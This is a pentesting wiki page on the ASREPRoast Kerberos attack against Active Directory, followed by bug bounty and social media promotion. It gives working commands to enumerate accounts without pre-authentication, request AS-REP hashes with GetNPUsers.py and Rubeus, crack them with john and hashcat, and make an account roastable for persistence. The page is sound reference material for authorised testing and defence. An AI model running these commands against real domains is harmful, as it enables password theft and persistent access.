6.9 KiB
ASREPRoast
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ASREPRoast
The ASREPRoast attack looks for users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH).
That means that anyone can send an AS_REQ request to the DC on behalf of any of those users, and receive an AS_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
Furthermore, no domain account is needed to perform this attack, only connection to the DC. However, with a domain account, a LDAP query can be used to retrieve users without Kerberos pre-authentication in the domain. Otherwise usernames have to be guessed.
Enumerating vulnerable users (need domain credentials)
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
Request AS_REP message
{% code title="Using Linux" %}
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
{% endcode %}
{% code title="Using Windows" %}
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
{% endcode %}
{% hint style="warning" %} AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0. {% endhint %}
Cracking
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
Persistence
Force preauth not required for a user where you have GenericAll permissions (or permissions to write properties):
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
References
More information about AS-RRP Roasting in ired.team
HackenProof is home to all crypto bug bounties.
Get rewarded without delays
HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified.
Get experience in web3 pentesting
Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days.
Become the web3 hacker legend
Gain reputation points with each verified bug and conquer the top of the weekly leaderboard.
Sign up on HackenProof start earning from your hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
- Discover The PEASS Family, our collection of exclusive NFTs
- Get the official PEASS & HackTricks swag
- Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
- Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.